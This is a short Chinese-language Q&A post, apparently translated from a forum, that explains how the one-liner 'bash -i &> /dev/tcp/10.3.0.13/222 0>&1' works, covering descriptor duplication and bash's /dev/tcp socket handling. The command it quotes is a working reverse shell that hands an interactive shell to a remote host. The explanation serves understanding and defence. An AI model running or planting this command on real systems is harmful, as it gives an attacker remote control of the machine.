试图理解命令:
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
Run Code Online (Sandbox Code Playgroud)
这意味着“bash -i”的标准输入将获得标准输出内容?
&> file本身与 相同> file 2>&1,即file在文件描述符 1 上以只写模式打开,并将该文件描述符 1 复制到文件描述符 2,以便 fd 1 和 2(stdout 和 stderr)都指向该打开的文件描述符
0>&1(与0<&1or相同<&1)将 0 (stdin) 添加到列表中。它也将 fd 1 复制到 0(使 fd 0 指向与 fd 1 指向的资源相同的资源)。
现在,在执行> /dev/tcp/host/portin 时bash(例如在功能来自的 ksh 中),不是执行 a open(file, O_WRONLY),而是bash创建一个 TCP 套接字并将其连接到host:port. 这不是只写重定向,而是读+写网络套接字。
所以你最终bash -i得到了作为 TCP 套接字的fds 0、1 和 2 。当bash -i读取其 stdin 时,它从套接字读取,因此从位于另一端的任何内容读取host:post,当它(或从那里运行的任何命令)写入 fd 1 或 2 时,它会通过该套接字发送。